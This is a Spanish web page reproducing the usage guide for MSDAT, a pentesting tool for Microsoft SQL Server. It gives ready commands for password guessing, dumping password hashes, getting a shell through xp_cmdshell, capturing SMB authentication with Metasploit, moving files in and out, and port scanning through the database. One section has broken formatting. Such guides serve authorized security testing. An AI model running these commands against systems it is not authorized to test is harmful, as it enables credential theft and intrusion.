MSDAT Herramienta Pentesting a Bases de Datos Microsoft SQL
MSDAT Herramienta Pentesting a Bases de Datos Microsoft SQL

MSDAT: Herramienta Pentesting a Bases de Datos Microsoft SQL

MSDAT (Microsoft SQL Database Attacking Tool) es una herramienta de pruebas de penetración de código abierto que comprueba la seguridad de las bases de datos Microsoft SQL de forma remota.

Ejemplos de uso de MSDAT:

  • Tienes una base de datos de Microsoft escuchando remotamente y quieres encontrar credenciales válidas para conectarte a la base de datos
  • Tienes una cuenta válida de Microsoft SQL en una base de datos y quieres escalar tus privilegios
  • Tienes una cuenta válida de Microsoft SQL y quieres ejecutar comandos en el sistema operativo que aloja esta BD (por ejemplo, xp_cmdshell, OLE Automation, Agent Jobs)

Probado en bases de datos Microsof SQL 2005, 2008, 2012, 2014 y 2016

Compatible con Python 3 sólo desde la versión 2.0.

Características

Gracias a MSDAT (Microsoft SQL Database Attacking Tool), se puede (no es una lista exhaustiva):

  • obtener información técnica (por ejemplo, la versión de la base de datos) de una base de datos MSSQL sin tener que autenticarse
  • cargar un archivo nnmap para escanear todos los objetivos MSSQL
  • buscar cuentas MSSQL con un ataque de diccionario
  • probar cada inicio de sesión como contraseña (se requiere autenticación)
  • obtener un shell de Windows en el servidor de la base de datos con
    • xp_cmdshell
    • OLE Automation
    • Jobs
  • descargar archivos remotamente con:
    • OLE Automation
    • bulkinsert
    • openrowset
  • cargar archivos en el servidor con:
    • OLE Automation
    • openrowset
  • capturar una autenticación SMB gracias a:
    • bulkinsert
    • openrowset
    • xp_dirtree
    • xp_fileexist
    • xp-getfiledetails
  • robar la contraseña hash de MSSQL, en cualquier versión de MSSQL
  • escanear los puertos a través de la base de datos:
    • openrowset
  • ejecutar peticiones SQL en un servidor MSSQL remoto a través de la base de datos (destino) con:
    • bulkinsert
    • openrowset
  • lista de archivos/directorios con:
    • xp_subdirs
    • xp_dirtree
  • lista de unidades/medios con:
    • xp_fixeddrives
    • xp_availablemedia
  • crear carpeta con:
    • xp_create_subdir
  • buscar datos sensibles en las tablas (por ejemplo, credenciales)

Instalación

Algunas dependencias deben ser instaladas para poder ejecutar MSDAT.

En Ubuntu:

sudo apt-get install freetds-dev 

o descargar freetds en http://www.freetds.org/

Instalar las dependencias de Python:

sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete

o

sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete

Añade “use ntlmv2 = yes” en tu archivo de configuración de freetds (ex: /etc/freetds/freetds.conf or /usr/local/etc/freetds.conf). Ejemplo:

[global]
        # TDS protocol version
        tds version = 8.0
        use ntlmv2 = yes

Cómo Emprezar

python3 msdat.py -h
usage: msdat.py [-h] [--version]
                {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
                ...

               _   _  __  __   _  ___ 
              | \_/ |/ _||  \ / \|_ _|
              | \_/ |\_ \| o ) o || | 
              |_| |_||__/|__/|_n_||_| 
                        
------------------------------------------------------
 _   _  __            __           _           ___ 
| \_/ |/ _|         |  \         / \         |_ _|
| \_/ |\_ \         | o )         o |         | | 
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool 
                        
-------------------------------------------------------

By Quentin Hardy (quentin.hardy@protonmail.com or quentin.hardy@bt.com)

positional arguments:
  {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
                        
                        Choose a main command
    all                 to run all modules in order to know what it is possible to do
    mssqlinfo           to get information without authentication
    passwordguesser     to know valid credentials
    passwordstealer     to get hashed passowrds
    xpcmdshell          to get a shell
    jobs                to execute system commands
    smbauthcapture      to capture a SMB authentication
    oleautomation       to read/write file and execute system commands
    bulkopen            to read a file and scan ports
    xpdirectory         to list files/drives and to create directories
    trustworthype       to become sysadmin with the trustwothy database method
    userlikepwd         to try each MSSQL username stored in the DB like the corresponding pwd
    search              to search in column names
    cleaner             clean local traces

optional arguments:
  -h, --help            show this help message and exit
  --version             show program's version number and exit

Ejemplos

  • Se pueden listar todos los módulos:
./msdat.py -h
  • Cuando hayas elegido un módulo (ejemplo: all), podrás utilizarlo y podrás listar todas las características y opciones del módulo:
./msdat.py all -h

Consejo

Puedes saber si un módulo específico puede ser utilizado en un servidor MSSQL gracias a la opción –test-module. Esta opción está implementada en cada módulo mdat.

Módulo all

El módulo all  te permite ejecutar todos los módulos (depende de las opciones que hayas comprado).

python msdat.py all -s $SERVER

Si quieres:

  • utilizar tu propio archivo de cuentas para el ataque al diccionario
  • probar múltiples contraseñas para un usuario sin preguntarle
  • definir tu propio valor de tiempo de espera
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry

En cada módulo, puede definir el conjunto de caracteres a utilizar con la opción –charset.

Módulo mssqlinfo

Para obtener información técnica sobre un servidor MSSQL remoto sin necesidad de autenticarse:

./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info

Este módulo utiliza el protocolo TDS y SQL browser Server para obtener información.

Módulo passwordguesser

Este módulo permite buscar credenciales válidas:

./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search

La opción –force-retry permite probar múltiples contraseñas para cada usuario sin preguntarle

Puedes especificar tu propio archivo de cuentas con la opción –accounts-file:

./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry

Módulo passwordstealer

Para dumpear contraseñas con hash:

./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt

Este módulo ha sido probado en SQL Server 2000, 2005, 2008 y 2014.

Módulo xpcmdshell

Para ejecutar comandos del sistema gracias a xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx):

./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell

Este comando anterior te da un shell interactivo en el servidor de la base de datos remota.

Si xp_cmdshell no está habilitado, se puede utilizar la opción –enable-xpcmdshell en este módulo para activarlo:

./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell

La opción–enable-xpcmdshell option activa xp_cmdshell si no está activado (no está activado por defecto).

La opción –disable-xpcmdshell desactiva disables xp_cmdshell si éste está activado.

Módulo smbauthcapture

Gracias a este módulo, puedes capturar una autenticación SMB:

./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE

Para capturar la autenticación SMB, se podría utilizar el módulo auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) de metasploit:

msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit

El comando capture de este módulo intenta capturar una autenticación SMB gracias al procedimiento xp_dirtreexp_fileexist or xp-getfiledetails.

Si deseas elegir el procedimiento de autenticación SMB para capturar la autenticación:

./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1

Puedes cambiar el nombre de SHARE con la opción –share-name.

Módulo oleautomation

Este módulo se puede utilizar para leer/escribir archivos en el servidor de la base de datos.

El siguiente comando lee el archivo temp.txt almacenado en el servidor de la base de datos:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'

Para escribir una cadena en un archivo (temp.txt) de forma remota:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'

Este módulo se puede utilizar para descargar un archivo (C:\Users\Administrator\Desktop\temp.txt) almacenado en el servidor de la base de datos::

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

Además, puedes utilizar este módulo para cargar un archivo (temp.txt) en el objetivo:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt

Módulo bulkopen

El módulo bulkopen puede utilizarse :

  • para leer/descargar archivos almacenados en un servidor de base de datos
  • escanear puertos a través del servidor de la base de datos
  • ejecutar peticiones SQL en un servidor MSSQL remoto a través de la base de datos

Para leer un archivo almacenado en el objetivo, se puede utilizar el siguiente comando:

./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"

La opción –method puede utilizarse para especificar el método a utilizar:

./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset

Para descargar un archivo (C:\Users\Administrator\Desktop\temp.txt):

` ``bash ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
This module can be used to scan ports (1433 and 1434 of 127.0.0.1) through the database server:
```bash
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v

Puede escanear un rango de puertos:

./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438

Este módulo se puede utilizar para ejecutar peticiones SQL (por ejemplo: select @@ServerName) en un servidor de base de datos remoto (por ejemplo: $SERVER2) a través de la base de datos ($SERVER):

./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'

Módulo xpdirectory

Se puede utilizar el módulo xpdirectory para listar:

  • archivos
  • directorios
  • unidades
  • comprobar si un archivo existe
  • crear un directorio

Para listar los archivos de un directorio específico:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'

Para listar los directorios en un directorio específico:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'

Para listar las unidades:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media

Para comprobar si un archivo existe:

./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'

Para crear un directorio:

./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'

El módulo search puede utilizarse para buscar un patrón en los nombres de las columnas de las tablas y las vistas. Utiliza el módulo para buscar el patrón %password% en los nombres de las columnas, por ejemplo.

Para obtener los nombres de las columnas que contienen patrones de contraseñas (por ejemplo: passwd, password, motdepasse, clave):

./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

Si quieres ver los nombres de las columnas que no contienen datos, debes utilizar la opción –show-empty-columns.

Para buscar un patrón específico en los nombres de las columnas de las vistas y tablas:

./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

Mi Carro Close (×)

Tu carrito está vacío
Ver tienda